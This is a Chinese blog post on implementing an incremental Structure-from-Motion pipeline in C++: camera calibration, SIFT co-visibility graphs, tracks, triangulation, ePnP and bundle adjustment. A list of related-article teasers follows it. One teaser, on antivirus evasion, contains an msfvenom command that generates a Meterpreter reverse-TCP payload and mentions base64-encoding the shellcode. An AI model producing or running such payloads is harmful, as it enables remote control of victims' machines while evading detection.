【三维重建】增量SFM系统
在学习完鲁鹏老师的三维重建基础后,打算用C++代码复现一下增量SFM系统(https://github.com/ldx-star/SFM)。
本项目的最终目标就是通过相机拍摄的多视角视图获取三维点云。由于资金有效,博主使用的是相机是小米12。
先来看一下最终效果:

当然了,和开源系统比起来还是差很多的。

二、项目流程
整个项目大致可以分为三步:
- 相机标定
- 构建共视图
- 重建
接下来将逐步介绍这三个流程,以及其实现细节。
三、实现细节
手机相机的焦距一般是固定,我们在使用手机拍照时说的调焦其实是算法调焦。为什么避免这个问题,在用手机拍摄标定板时需要关闭手机的自动调焦。
以小米手机为例:

我们直接使用opencv提供的方法进行标定,如何想了解具体实现细节与源码可以参考博文 相机标定原理
我们项目的提供的标定图,最终的重投影误差为0.25,并且我们拍摄图片所使用的是同一个相机,所以所有相机的初始内参全部一样。
2、构建共视图
共视图就是建立图与图间的特征匹配关系。
这部分使用的事opencv的SIFT特征匹配算法,详细原理见博文 SIFT特征检测
在共视图中,我们定义了以下结构:
struct Edge{bool flag;std::vector<cv::DMatch> matches;
};
struct Node{cv::Mat img;std::vector<cv::KeyPoint> keyPoints; // 特征点cv::Mat descriptors; // 特征描述符std::vector<Edge> edges; // 当前图与其他图的匹配关系std::vector<int> trick_id;
};
class CommonView{std::vector<Node> _graph;std::vector<cv::Mat> _images;std::vector<std::list<std::pair<int,int>>> _tracks;
}
std::vector<cv::Mat> _images:用于存放8副原始视图。
std::vector<Node> _graph:用两个视图间的匹配关系,构建一个图结构
std::vector<std::list<std::pair<int,int>>> _tracks: 用于存放track
-
什么是track?

如图所示, i m a g e k − 1 image_{k-1} imagek−1视图中的 P ( j , k − 1 ) P_{(j,k-1)} P(j,k−1) 与$ image_{k} 视图中的 视图中的 视图中的P_{(j,k)}$ 是一对儿匹配点, i m a g e k image_{k} imagek视图中的 P ( j , k ) P_{(j,k)} P(j,k) 与 i m a g e k + 1 image_{k+1} imagek+1视图中的 P ( j , k + 1 ) P_{(j,k+1)} P(j,k+1)是一对儿匹配点,这三个点表示的是显示同一个三维点,我们将这样的点集称为一个track,由三个点组成的点集就称track的值为3。为了使重建结果稳定,需要将track值小于2的匹配点去掉 。一个track对应一个三维点。 -
std::vector<std::list<std::pair<int,int>>>:这个结构是什么意思?
std::list<std::pair<int,int>>:表示一个track的数据结构,std::pair<int,int>:表示的某一个视图的二维坐标,pair.first表示的是视图id,pair.second表示的是特征点id。
Node结构体
std::vector<cv::KeyPoint> keyPoints:用于存放特征点
cv::Mat descriptors:当前视图的特征描述符
std::vector<Edge> edges:当前图与其他图的匹配关系,例如 edges[2]就表示当前视图与视图2的匹配关系。
std::vector<int> trick_id: trick_id.size()==keyPoints.size()用于表示每个特征点属于哪一个track
Edge结构体
bool flag:用一个布尔值表示两幅视图是否可以用于重建,初始值设为true,在两个视图进行重建后将其设为false
std::vector<cv::DMatch>:表示两视图的匹配关系

3、重建
- 选取可用匹配点最多的两个视图,得到初始的重建结果(初始重建结果至关重要,会直接影响到整个重建效果)
-
初始重建步骤:
-
计算基础矩阵(博文链接:对极几何)
-
从基础矩阵中得到相机外参(博文链接:运动恢复结构)
-
三角化,得到初始三维点(博文链接:三角化)
-
while(存在可以重建的视图)
- 从剩余视图中选取与已重建点交集最多的点,通过ePnP求得相机外参(博文链接:ePnP)
- 三角化
- 利用已重建的三维点进行捆绑调整,最小化重投影误差(博文链接:捆绑调整),这部分我们是调用Ceres库
-
四、结果

相关文章:
【三维重建】增量SFM系统
在学习完鲁鹏老师的三维重建基础后,打算用C代码复现一下增量SFM系统(https://github.com/ldx-star/SFM)。 本项目的最终目标就是通过相机拍摄的多视角视图获取三维点云。由于资金有效,博主使用的是相机是小米12。 先来看一下最终…...
PyTorch 维度变换-Tensor基本操作
以如下 tensor a 为例,展示常用的维度变换操作 >>> a torch.rand(4,3,28,28) >>> a.shape torch.Size([4, 3, 28, 28])view / reshape 两者功能完全相同: a.view(shape) >>> a.view(4,3,28*28) ## a.view(4,3,28,28) 可恢复squeeze…...
spring 事务失效的几种场景
一、背景 在 springBoot 开发过程中,我们一般都是在业务方法上添加 Transactional 注解来让 spring 替我们管理事务,但在某些特定的场景下,添加完注解之后,事务是不生效的,接下来详细介绍下。 二、方法不是 public 2…...
45岁程序员独白:中年打工人出路在哪里?
作为一名也是JAVA方向的互联网从业者,我发现周围超过40岁以上的同事,基本都是部门负责人或者高层,真正还在一线做开发或者当个小领导的,已经是凤毛麟角了。 同事A今年刚满40,育有一儿一女,从进入公司到现在…...
深度探讨:为何训练精度不高却在测试中表现优异?
深度探讨:为何训练精度不高却在测试中表现优异? 在深度学习领域,我们经常遇到这样一个看似矛盾的现象:模型在训练集上的精度不是特别高,但在测试集上却能达到出色的表现。这种情况虽然不是常规,但其背后的…...
动态内存管理<C语言>
导言 在C语言学习阶段,指针、结构体和动态内存管理,是后期学习数据结构的最重要的三大知识模块,也是C语言比较难的知识模块,但是“天下无难事”,只要认真踏实的学习,也能解决,所以下文将介绍动态…...
第一百零二节 Java面向对象设计 - Java静态内部类
Java面向对象设计 - Java静态内部类 静态成员类不是内部类 在另一个类的主体中定义的成员类可以声明为静态。 例子 以下代码声明了顶级类A和静态成员类B: class A {// Static member classpublic static class B {// Body for class B goes here} }注意 静态成…...
给自己Linux搞个『回收站』,防止文件误删除
linux没有像windows里一样的回收站,工作时候删除文件容易不小心删错,造成麻烦的后果。所以给自己整了个回收站: 文件删除,新建~/opts/move_to_trash.sh,然后在里面新增,将${your_name}改成你的用户名。同时…...
Springboot接收参数的21种方式
前言 最近一直在忙着开发项目(ps:其实有些摆烂),好久没有更新博客了,打开csdn一看好多网友留言私信,继上篇博客(我是如何实现HttpGet请求传body参数的!),网友议论纷纷,各抒起见。今天正好抽出时间总结一下Springboot接受参数的21种方式(Post、Get、Delete),一并…...
打造出色开发者体验的十大原则
大约十年前我是一名CIO,当时我在评估一种技术解决方案,向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求,但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...
Vue3_对接腾讯云COS_大文件分片上传和下载
目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档: 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...
python免杀--base64加密(GG)
单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...
Python版与Java版城市天气信息爬取对比分析
在对比Python版和Java版城市天气信息爬取时,我们需要考虑多个方面,包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析: 1. 语言特性 Python: 易于学习:Python的语法清…...
CSS真题合集(二)
CSS真题合集(二) 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...
长期出汗困扰你?可能是肾合出了问题
想象一下,我们的身体是一座繁茂的秘密花园,每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水,则是这花园中无声的语言,它讲述着我们的健康与否,也揭示着身体内部的微妙变化。 在炎炎夏日,身体如盛开…...
Jmeter函数二次开发说明
jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖,需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...
重新学习STM32(1)GPIO
概念简介 GPIO 是通用输入输出端口的简称,简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来,从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组,比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...
React+TS前台项目实战(二)-- 路由配置 + 组件懒加载 + Error Boundary使用
文章目录 前言一、路由配置和懒加载lazy的使用二、TS版本Error Boundary组件封装三、在layout组件中使用Suspense组件和错误边界组件总结 前言 本文将详细介绍项目中的页面路由配置和异步组件懒加载处理,以提高用户体验,实现过渡效果。 一、路由配置和懒…...
成为电商低价神秘顾客访问员的必备条件(深圳神秘顾客公司)
电商低价神秘顾客需要具备以下条件,以确保能够执行有效的调查任务并为企业提供有价值的反馈: 1、细致的观察能力:神秘顾客访问员需要具备细致的观察能力,能够全面、细致地观察电商平台的购物流程、商品详情、服务细节等。这包括注…...
现货黄金交易多少克一手?国内外情况大不同
如果大家想参与国际市场上的现货黄金交易,就应该从它交易细则的入手,先彻底认识这个品种,因为它是来自欧美市场的投资方式,所以无论是从合约的计的单位,计价的货币,交易的具体时间,以及买卖过程…...
未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?
编辑:陈萍萍的公主一点人工一点智能 未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战,在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...
深入剖析AI大模型:大模型时代的 Prompt 工程全解析
今天聊的内容,我认为是AI开发里面非常重要的内容。它在AI开发里无处不在,当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗",或者让翻译模型 "将这段合同翻译成商务日语" 时,输入的这句话就是 Prompt。…...
调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用:作为微服务架构的网关,统一入口,处理所有外部请求。 核心能力: 路由转发(基于路径、服务名等)过滤器(鉴权、限流、日志、Header 处理)支持负…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八
现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet,点击确认后如下提示 最终上报fail 解决方法 内核升级导致,需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...
C++使用 new 来创建动态数组
问题: 不能使用变量定义数组大小 原因: 这是因为数组在内存中是连续存储的,编译器需要在编译阶段就确定数组的大小,以便正确地分配内存空间。如果允许使用变量来定义数组的大小,那么编译器就无法在编译时确定数组的大…...
Java数值运算常见陷阱与规避方法
整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...
scikit-learn机器学习
# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...
Linux nano命令的基本使用
参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时,显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...
